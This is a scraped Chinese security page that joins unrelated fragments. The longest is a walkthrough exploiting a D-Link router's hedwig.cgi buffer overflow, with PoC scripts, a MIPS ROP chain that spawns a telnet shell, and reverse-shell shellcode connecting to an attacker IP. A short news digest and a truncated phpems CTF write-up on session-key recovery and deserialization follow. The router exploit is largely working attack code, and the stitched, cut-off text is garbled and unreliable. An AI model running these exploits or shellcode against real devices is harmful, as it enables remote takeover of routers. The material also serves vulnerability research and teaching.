LABEL_27;  if ( !v4 )    goto LABEL_27;  v5 = v3;  if ( !v3 )    goto LABEL_27;  v6 = 0;  while ( 1 ) {    v7 = *v5;    if ( !*v5 )      break;    if ( v6 == 1 )      goto LABEL_11;    if ( v6 < 2 )   {      if ( v7 == ' ' )        goto LABEL_18;      sobj_free(v2);      sobj_free(v4); LABEL_11:      if ( v7 == 59 )     {        v6 = 0;     }      else     {        v6 = 2;        if ( v7 != 61 )       {          sobj_add_char(v2, v7);          v6 = 1;       }     }      goto LABEL_18;   }    if ( v6 == 2 )   {      if ( v7 == 59 )     {        v6 = 3;        goto LABEL_18;     }      sobj_add_char(v4, *v5++);   }    else   {      v6 = 0;      if ( !sobj_strcmp(v2, "uid") )        goto LABEL_21; LABEL_18:      ++v5;   } }  if ( !sobj_strcmp(v2, "uid") ) { LABEL_21:    string = sobj_get_string(v4);    goto LABEL_22; } LABEL_27:  string = getenv("REMOTE_ADDR"); LABEL_22:  result = sobj_add_string(a1, string);  if ( v2 )    result = sobj_del(v2);  if ( v4 )    return sobj_del(v4);  return result; } 如果FirmAE无法直接解压固件,可以用fmk解压以后再压缩为tar.gz交给FirmAE。 FirmAE如果出现文件依然存在的情况,使用如下方案: sudo ip link set ${TAPDEV_0} sudo tunctl -d ${TAPDEV_0} 将其停止,可以重新启动仿真。 调试方法 仿真成功后,进入FirmAE进行如下输入——进入shell,查询http服务的进程号: ------------------------------ |       FirmAE Debugger     | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 2 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. / # ps | grep "httpd" 2387 root      1564 S   httpd -f /var/run/httpd.conf 8421 root       656 S    grep httpd / # Connection closed by foreign host. 随后输入进程号(此处是2387)启用gdb-server: ------------------------------ |       FirmAE Debugger     | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 4 641 root      1684 S   /firmadyne/sh /firmadyne/network.sh  643 root      1676 S   /firmadyne/sh /firmadyne/debug.sh  647 root      1680 S   /firmadyne/busybox telnetd -p 31338 -l /firmadyne/sh  648 root      1668 S   /firmadyne/busybox sleep 36000  649 root      1676 S   /firmadyne/sh  779 root       892 S   portt -c DNAT.PORTT 1300 root      1044 S   udhcpc -i eth3 -H dlinkrouter -p /var/servd/WAN-1-udh 1663 root       904 S   updatewifistats -i rai0 -x /phyinf:3 -r /runtime/phyi 1737 root       904 S   updatewifistats -i ra0 -x /phyinf:4 -r /runtime/phyin 2096 root       908 S   neaps -i br0 -c /var/run/neaps.conf 2108 root       884 S   netbios -i br0 -r dlinkrouter 2109 root       900 S   llmnresp -i br0 -r dlinkrouter 2156 root      1068 S   udhcpd /var/servd/LAN-1-udhcpd.conf 2351 root      1040 S   dnsmasq -C /var/servd/DNS.conf 2387 root      1568 S   httpd -f /var/run/httpd.conf 11504 root      1668 S   /firmadyne/busybox sleep 5 11553 root       660 R    ps PID USER       VSZ STAT COMMAND    1 root       656 S   init    2 root         0 SW   [kthreadd]    3 root         0 SW   [ksoftirqd/0]    4 root         0 SW   [kworker/0:0]    5 root         0 SW< [kworker/0:0H]    6 root         0 SW   [kworker/u2:0]    7 root         0 SW< [khelper]    8 root         0 SW   [khungtaskd]    9 root         0 SW< [writeback]   10 root         0 SWN [ksmd]   11 root         0 SW< [crypto]   12 root         0 SW< [bioset]   13 root         0 SW< [kblockd]   14 root         0 SW< [ata_sff]   15 root         0 SW< [cfg80211]   16 root         0 SW   [kworker/0:1]   17 root         0 SW   [kswapd0]   18 root         0 SW   [fsnotify_mark]   35 root         0 SW   [scsi_eh_0]   36 root         0 SW< [scsi_tmf_0]   37 root         0 SW   [scsi_eh_1]   38 root         0 SW< [scsi_tmf_1]   41 root         0 SW   [kworker/u2:3]   44 root         0 SW< [kpsmoused]   45 root         0 SW< [ipv6_addrconf]   46 root         0 SW< [defe [+] target pid : 2387 [+] gdbserver at 192.168.0.1:1337 attach on 2387 [+] run "target remote 192.168.0.1:1337" in host gdb-multiarch 宿主机保存如下脚本准备使用: set architecture mips set follow-fork-mode child set detach-on-fork off b _start #catch exec #这里去掉注释,就能够在对应的cgi文件停下 target remote 192.168.0.1:1337 假如保存为了gdb_script,那么在开启gdb-server以后使用如下命令进入调试: gdb-multiarch -x gdb_script POC编写 定位到漏洞点应该在下面的sprintf处,由char v27[1024]可以知道,溢出至少要1024的数据。源码如下。 int hedwigcgi_main() {  char *v0; // $v0  const char *v1; // $a1  FILE *v2; // $s0  int v3; // $fp  int v4; // $s5  int v5; // $v0  char *string; // $v0  FILE *v7; // $s2  int v8; // $v0  int v9; // $s7  int v10; // $v0  int *v11; // $s1  int i; // $s3  char *v13; // $v0  const char **v14; // $s1  int v15; // $s0  char *v16; // $v0  const char **v17; // $s1  int v18; // $s0  int v19; // $v0  char *v20; // $v0  char v22[20]; // [sp+18h] [-4A8h] BYREF  char *v23; // [sp+2Ch] [-494h] BYREF  char *v24; // [sp+30h] [-490h]  int v25[3]; // [sp+34h] [-48Ch] BYREF  char v26[128]; // [sp+40h] [-480h] BYREF  char v27[1024]; // [sp+C0h] [-400h] BYREF  memset(v27, 0, sizeof(v27));  memset(v26, 0, sizeof(v26));  strcpy(v22, "/runtime/session");  v0 = getenv("REQUEST_METHOD");  if ( !v0 ) {    v1 = "no REQUEST"; LABEL_7:    v3 = 0;    v4 = 0; LABEL_34:    v9 = -1;    goto LABEL_25; }  if ( strcasecmp(v0, "POST") ) {    v1 = "unsupported HTTP request";    goto LABEL_7; }  cgibin_parse_request(sub_409A6C, 0, 0x20000);  v2 = fopen("/etc/config/image_sign", "r");  if ( !fgets(v26, 128, v2) ) {    v1 = "unable to read signature!";    goto LABEL_7; }  fclose(v2);  cgibin_reatwhite(v26);  v4 = sobj_new();  v5 = sobj_new();  v3 = v5;  if ( !v4 || !v5 ) {    v1 = "unable to allocate string object";    goto LABEL_34; }  sess_get_uid(v4);  string = sobj_get_string(v4);  sprintf(v27, "%s/%s/postxml", "/runtime/session", string);  xmldbc_del(0, 0, v27);  v7 = fopen("/var/tmp/temp.xml", "w");  if ( !v7 ) {    v1 = "unable to open temp file.";    goto LABEL_34; }  if ( !haystack ) {    v1 = "no xml data.";    goto LABEL_34; }  v8 = fileno(v7);  v9 = lockf(v8, 3, 0);  if ( v9 < 0 ) {    printf(      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",      0);    v9 = 0;    goto LABEL_26; }  v10 = fileno(v7);  lockf(v10, 1, 0);  v23 = v26;  v24 = 0;  memset(v25, 0, sizeof(v25));  v24 = strtok(v22, "/");  v11 = v25;  for ( i = 2; ; ++i ) {    v13 = strtok(0, "/");    *v11++ = (int)v13;    if ( !v13 )      break; } (&v23)[i] = sobj_get_string(v4);  fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", v7);  v14 = (const char **)&v23;  v15 = 0;  do {    ++v15;    fprintf(v7, "<%s>\n", *v14++); }  while ( v15 < i + 1 );  v16 = strstr(haystack, "<postxml>");  fprintf(v7, "%s\n", v16);  v17 = (const char **)&(&v23)[i];  v18 = i + 1;  do {    --v18;    fprintf(v7, "</%s>\n", *v17--); }  while ( v18 > 0 );  fflush(v7);  xmldbc_read(0, 2, "/var/tmp/temp.xml");  v19 = fileno(v7);  lockf(v19, 0, 0);  fclose(v7);  remove("/var/tmp/temp.xml");  v20 = sobj_get_string(v4);  sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);  xmldbc_ephp(0, 0, v27, stdout);  if ( v9 ) {    v1 = 0; LABEL_25:    printf(      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",      v1); } LABEL_26:  if ( haystack )    free(haystack);  if ( v3 )    sobj_del(v3);  if ( v4 )    sobj_del(v4);  return v9; } 构造poc如下: import http.client # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") # 设置请求头 headers = {    'Content-Length': '21',    'accept-Encoding': 'deflate',    'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+'a'*0x500,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers) # 获取响应 response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() 成功覆盖pc如下。 EXP编写 ROPchain_system(cmd) 接下来编写exp。 cyclic可以这么使用: >>> cyclic(0x100) b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac' >>> cyclic_find("cjaa") 235 >>> 从而轻松找到偏移。 我们修改一下poc如下,设置了payload,用如上方法找到偏移: import http.client from evilblade import * # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") payload = cyclic(0x500).decode() # 设置请求头 headers = {    'Content-Length': '21',    'accept-Encoding': 'deflate',    'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+payload,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 获取响应 response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() 得到段错误如下。 找偏移:(注意,此处导入pwntools也是一样的,这只是我自己写的封装库) >>> from evilblade import * >>> cyclic_find("klaa") 1043 >>> 再次修改poc确认偏移,成功控制返回地址。修改如下: import http.client from evilblade import * # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") payload = b'a'*1043+b"rlok" #前面1043个偏移,后面是rlok作为返回地址 payload = payload.decode() # 设置请求头 headers = {    'Content-Length': '21',    'accept-Encoding': 'deflate',    'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+payload,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 获取响应 response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() 结果如下,成功控制pc。 我们发现路由器里有telnetd服务,这样只要执行system("telnetd"),就可以在宿主机运行telnet 192.168.0.1getshell了。其中a0就是第一个参数。 我们看看MIPS的寄存器作用: ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "addiu \$s5, \$sp," 用上述命令,找到下面的gadget: 0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5 这样的情况,我们只要控制$sp + 0x10的位置是命令,并且s0是返回地址即可。 我们再次使用cyclic确定偏移,得到: *S0   0x6161636b ('kcaa') 也就是 >>> cyclic_find("kcaa") 1007 s0往后就是s1,s2以此类推。 不过我们遇到了一个新的问题,那就是system的地址偏移是0x53200,是以00为结尾的,我们需要绕过。我尝试过用0x531fc,这里是nop,但是由于$t9的值不正确,所以后面的变量会错误,导致程序无法正常运行,那么我们只能另寻出路。 这里我们要用到一个技巧: 由于现代处理器采用流水线执行指令的方式,在执行jalr指令时,下一条指令可能已经被预取和解码,并开始执行。因此,即使jalr指令改变了程序计数器的值,下一条指令也可能在当前指令被执行的同时开始执行。 也就是说,执行jalr的同时,下一个指令也会执行。 我们用这个指令: ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "move \$t9, \$s5 ; jalr \$t9 ; addiu \$s0" 找到gadget: 0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1 他会在跳转到$s5的同时,将s0+1,也就是说我们传入偏移为0x531ff即可,且$t9不会受到任何影响! 于是我们构造了如下的情况: 首先在s0传入system-1的地址,s5传入了0x000159cc的gadget。溢出之后,首先返回到s5的地址,同时,s0++,变为system的地址。此时执行第二个gadget,将"telnetd"传入s5,并且跳转到$s0也就是system,同时s5被赋值到a0也就是第一个参数,成功执行system("telnetd -l /bin/sh -p 55557")。设置端口是担心原本的被占用了。 如图,成功。 附exp: import http.client from evilblade import * set("./cgibin") # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") ## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断 nop = "\x26\x40\x08\x01" #libc基地址 libc = 0x77f34000 #gadget gadget = 0x159cc+libc gadget2 = libc+0x158c8 print(p32(gadget)) print(p32(gadget2)) sys = libc + 0x531ff print(p32(sys)) dx(sys) sys_ = '\xffq\xf8w' gad_sp = "\xcc\x99\xf4w" gad_to_s5 = "\xc8\x98\xf4w" payload = cyclic(973).decode() + sys_ + "cccc"  + gad_sp*7 + gad_to_s5  + "dddd"*4 + "telnetd -l /bin/sh -p 55557 & ls & " # 设置请求头 headers = { 'Content-Length': '21', 'accept-Encoding': 'deflate', 'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+payload,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 获取响应 response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() shellcode 使用网站进行汇编转字节码:https://shell-storm.org/online/Online-Assembler-and-Disassembler/ 第一步:socket(2,1,0) 在socket()系统调用中,参数的含义如下: 第一个参数:套接字的域(domain)。对于IPv4网络套接字,通常使用AF_INET或者PF_INET,其值为2。 第二个参数:套接字的类型(type)。常见的套接字类型包括SOCK_STREAM(流套接字,用于TCP)和SOCK_DGRAM(数据报套接字,用于UDP)。 第三个参数:协议(protocol)。通常情况下,如果域和类型已经指定了,协议参数可以设为0,让操作系统自动选择合适的协议。在这里,值为0。 socket(2,2,0)的意思是创建一个IPv4的UDP套接字。 如下: addiu  a0, zero, 2 addiu  a1, zero, 2 addiu  a3, zero, 0 addiu  v0, zero, 0x1057 syscall 0x40404 为了绕过\x00限制改为: li $a0, 0x222 addi $a0,-0x220 li $a1, 0x222 addi $a1,-0x220 li $a2, 0x222 addi $a2,-0x222 li $v0, 0x1057 syscall 0x40404 得到: "\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01" 存入栈: sw $v0,480($sp) 得到: "\xe0\x01\xa2\xaf" 第二步: dup2(socket_obj,0) dup2(socket_obj,1) dup2(socket_obj,2) 将标准输入输出错误流重定向到sock对象。 如下: lw $a0,480($sp);           li $a1, 0x222 addi $a1,-0x222 li $v0,4063 syscall 0x40404         li $a1, 0x222 addi $a1,-0x221 li $v0,4063 syscall 0x40404         li $a1, 0x223 addi $a1,-0x221 li $v0,4063 syscall 0x40404 得到: "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01" 第三步,执行int connect(int sockfd, const **struct** sockaddr *addr,socklen_t addrlen); lw $a0,480($sp) addiu $a2,$zero,0x111 addi $a2,-0x101 lui $t6,0xbe15 ori $t6,$t6,0x0203     addi $t6, -0x0201 sw $t6,468($sp) //这里是端口,可以自己更改 lui $t7,0x0302 ori   $t7, $t7, 0xa9c1 addi $t7, $t7, -0x01020101 //这里是ip地址,可以自己更改 sw $t7,472($sp)                     la $a1,468($sp)               addiu $v0,$zero,4170     syscall 0x40404 此时是绑定在了192.168.0.2 5566,也就是攻击机器的地址。ip和端口涉及大端小端的问题,参考文章的时候是大端,我说怎么调了这么久都不对…… 要构造为(这是192.168.0.2 5566) 0xbe150002 0x0200a8c0 得到: "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01" 最后一步,执行execve("/bin/sh",["/bin/sh","-i"],0),注意,此处的第二个参数是个数组,让其能够交互: lui     $t1, 0x6e69 ori     $t1, $t1, 0x622f sw     $t1, -8($sp) lui     $t9, 0xff97 ori     $t9, $t9, 0x8cd0 not     $t1, $t9 sw     $t1, -4($sp) addiu   $sp, $sp, -8 add     $a0, $sp, $zero lui     $t1, 0x6e69 ori     $t1, $t1, 0x622f sw     $t1, -0xc($sp) lui     $t9, 0xff97 ori     $t9, $t9, 0x8cd0 not     $t1, $t9 sw     $t1, -8($sp) sw     $zero, -4($sp) addiu   $sp, $sp, -0xc slti   $a1, $zero, -1 sw     $a1, -4($sp) addi   $sp, $sp, -4 addiu   $t9, $zero, -5 not     $a1, $t9 add     $a1, $sp, $a1 sw     $a1, -4($sp) addi   $sp, $sp, -4 add     $a1, $sp, $zero slti   $a2, $zero, -1 ori     $v0, $zero, 0xfab syscall 得到: "\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x0 监听: nc -lvp 5566 发现一个好工具:https://bbs.kanxue.com/thread-275619-1.htm 利用以上shellcode,成功反弹shell: 完整exp如下: import http.client from evilblade import * set("./cgibin") # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") ## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断 nop = "\x26\x40\x08\x01" #libc基地址 libc = 0x77f34000 #gadget gadget = 0x159cc+libc gadget2 = libc+0x158c8 print(p32(gadget)) print(p32(gadget2)) sys = libc + 0x531ff print(p32(sys)) dx(sys) sys_ = '\xffq\xf8w' gad_sp = "\xcc\x99\xf4w" gad_to_s5 = "\xc8\x98\xf4w" stg3_SC ="\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01" #socket(2,1,0) stg3_SC += "\xe0\x01\xa2\xaf" #sw $v0,260($sp) stg3_SC += "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01" #dup2 stg3_SC += "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01" #connect stg3_SC += "\x69\x6e\x0e\x3c\x2f\x62\xce\x35\x69\x01\x0f\x3c\x30\x74\xef\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\x2c\x01\xae\xaf\x30\x01\xaf\xaf\x34\x01\xa0\xaf\x2c\x01\xa4\x27\x2d\x69\x0f\x24\x38\x01\xaf\xaf\x40\x01\xa4\xaf\x44\x01\xa0\xaf\x02\x01\x06\x24\xfe\xfe\xc6\x20\x40\x01\xa5\x27 #execve # stg3_SC += "\x24\x02\x02\x9a\x24\x04\x02\x9a\x20\x42\xfd\x76\x20\x84\xfd\x66\x01\x01\x01\x0c" #exit print(stg3_SC.encode(),len(stg3_SC)) payload = cyclic(973).decode() + gad_to_s5 + "cccc"  + gad_sp*8  + "dddd"*4 +  stg3_SC # 设置请求头 headers = { 'Content-Length': '21', 'accept-Encoding': 'deflate', 'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+payload,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 获取响应 pause() response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() 至此完成复现。
网络安全日报 2024年03月26日
1、俄罗斯黑客利用TinyTurla-NG入侵欧洲NGO网络 https://blog.talosintelligence.com/tinyturla-full-kill-chain/ 据研究人员最新发布的报告,与俄罗斯有关联的网络威胁行动组织Turla,成功侵入了一个未命名欧洲非政府组织(NGO)的多个系统,并部署了名为TinyTurla-NG(TTNG)的后门程序。攻击者首次渗透系统后,建立了持久性并修改了端点上运行的防病毒产品设置。此后,通过一个名为Chisel的通讯渠道来窃取数据,并向网络中其他可访问的系统拓展其控制范围。有证据显示,这些系统最早在2023年10月就已遭到破坏,Chisel在2023年12月部署,数据窃取活动在2024年1月12 2、StrelaStealer网络钓鱼攻击影响逾百个欧美机构 https://unit42.paloaltonetworks.com/strelastealer-campaign/ 研究人员最新发现了一波针对性的网络钓鱼攻击,这次攻击主要通过传播名为StrelaStealer的信息窃取恶意软件。据研究人员发布的报告,这次攻击波及了超过100家欧盟和美国的组织。研究者发现,攻击者通过垃圾邮件附件的形式散布恶意软件,并不断更换邮件附件文件格式以躲避安全检测。StrelaStealer主要用于盗取知名邮件客户端的登录数据,并将其传送至攻击者控制的服务器。自2022年11月首次揭露StrelaStealer以来,研究人员在2023年11月和2024年1月监测到 3、AWS修复Apache Airflow严重的“FlowFixation”会话劫持漏洞 https://www.tenable.com/blog/flowfixation-aws-apache-airflow-service-takeover-vulnerability-and-why-neglecting-guardrails 亚马逊网络服务(AWS)近期修复了其托管的Apache Airflow(MWAA)服务中的一个关键安全漏洞。根据研究人员的报告,此漏洞允许恶意攻击者劫持用户会话,并可能在底层实例上实现远程代码执行。这一漏洞被Tenable公司命名为FlowFixation,并已由AWS地址解决。Tenable的高级安全研究员在一项技术分析中指出,攻击者在接管受害者账户 4、GoFetch攻击威胁苹果M系列芯片可致安全加密遭泄露 https://gofetch.fail/ 一种名为"GoFetch"的新型旁道攻击手段影响了苹果的M1、M2和M3处理器,此攻击手段可用于从CPU缓存中窃取密钥。GoFetch攻击利用现代苹果CPU中的数据存储器依赖预取器(DMPs),并瞄准了执行时间恒定的密码实现,从而重建包括OpenSSL Diffie-Hellman、Go RSA、CRYSTALS Kyber和Dilithium在内的多种算法的私钥。这一攻击由来自美国多所大学的七名研究人员开发,并于2023年12月5日向苹果报告了他们的发现。然而,由于这是一个基于硬件的漏洞,目前无法在受影响的CPU中修复它。虽然可以通过软件修复来减 5、KDE警告官方主题或存在擦除用户文件风险 https://www.bleepingcomputer.com/news/linux/kde-advises-extreme-caution-after-theme-wipes-linux-users-files/ KDE团队警告Linux用户安装全局主题时要极为谨慎,哪怕是从官方KDE Store下载。这些主题通过运行任意代码来自定义桌面外观,但KDE Store目前允许任何人上传新的主题和插件,且没有恶意行为检查机制。KDE坦言,目前缺乏资源去审查提交到官方商店中每个全局主题的代码。如果这些主题存在缺陷或恶意设计,可能会导致不可预料的后果。在一个Reddit帖子中,至少有一名用户在安装 6、联合国调查58起朝鲜涉嫌盗窃加密货币案件,价值 30 亿美元 https://therecord.media/north-korea-cryptocurrency-hacks-un-experts 在 3 月 7 日发布的一份报告中,联合国专家表示,他们追踪了 2017 年至 2023 年间“隶属于侦察总局 (RGB) 的网络威胁行为者,包括 Kimsuky、Lazarus Group、Andariel 和 BlueNoroff”的活动。 7、国家网信办公布《促进和规范数据跨境流动规定》 https://www.freebuf.com/articles/395806.html 3 月 22 日,国家互联网信息办公室公布《促进和规范数据跨境流动规定》,自公布之日起施行。 8、新型Loop DOS攻击可能针对30万个脆弱主机 https://securityaffairs.com/160851/hacking/loop-dos-attack.html 该攻击通过配对使用UDP协议的服务器,并利用IP伪造技术,诱导它们进入一个无限循环的通信状态。 9、影响全球300万间酒店客房dormakaba门锁被曝高危漏洞 https://www.ithome.com/0/757/461.htm 专家表示该漏洞存在于多玛凯拔的 Saflok MT 系列、Quantum 系列、RT 系列、Saffire 系列、Confidant 系列和所有其它 Saflok 品牌的锁产品。 10、Sign1 恶意软件感染了9 万个 WordPress 网站 https://www.bleepingcomputer.com/news/security/evasive-sign1-malware-campaign-infects-39-000-wordpress-sites/ 在对 Sign1 恶意软件详细分析后,Sucuri 指出该恶意软件使用了基于时间戳的随机化生成动态 URL,每 10 分钟就会更新一次,以躲避安全拦截。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
2024西湖论剑-phpems-代码审计
前言 2024西湖论剑数据安全题,系统是phpems,修改了默认密码,需要利用CVE登上去 CVE-2023-6654 ,菜鸟学习,大佬多指点 0x01环境搭建 https://phpems.net/index.php 源码 config.inc.php修改相应数据库配置 数据库运行pe9.sql文件建立数据库 0x02代码审计 根据题目提示是CVE2023-6654 漏洞点在session.cls.php 查看session.cls.php代码 查看ginkgo 其make方法会判断$G拼接的文件名是否存在,也就是lib文件下的.cls.php文件,存在的就会包含这个文件 pepdo,ev,pdosql,strings是这里面分别包含的文件,根据CVE披露得知是反序列化漏洞,搜索反序列化点。 strings.cls.php中有利用点 getSessionId()方法里面有调用decode key值为CS,CS值在config.inc.php中,题目环境是修改的 使用如下代码可以解密出明文,因为我们知道key <?php define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6'); $info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%25B4%257F%2596%2599b%259C%25D5%259C%25AAi%25A6%259A%2597%25AE%258B%25AC%25D7%25C9%25DB%25CF%258B%25D5%259Ei%2596%25AA%25D0%259DQ%25A9v%2580%258C%25BE%2598ok%258A%25E4%2 $key = CS; $info = urldecode(urldecode($info)); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } echo $info; encode代码 public function encode($info) { $info = serialize($info); $key = CS; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); } decode代码 public function decode($info) { $key = CS; $info = urldecode($info); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } $info = unserialize($info); return $info; } 可以看出里面这个$p值是循环的,加密的出来的值等于其ascll值相加, encode是明文+key=密文 decode是密文-key=明文 key=密文-明文 key的长度是32位,也就是我们得到的密码每32位一循环,那么如果我们知道密文中其中一段32位的明文,就可以算出来key了 ev.cls.php 可以确认这个ip是可控的,也就是这个值是可控的 a:3:{s:9:"sessionid";s:32:"6c48c14d623214794ccef7ee5f4b6003";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706957115;} 去掉前面的64位,往后顺延32为取出来,值如下 :"sessionip";s:9:"127.0.0.1";s:1 解密脚本 <?php 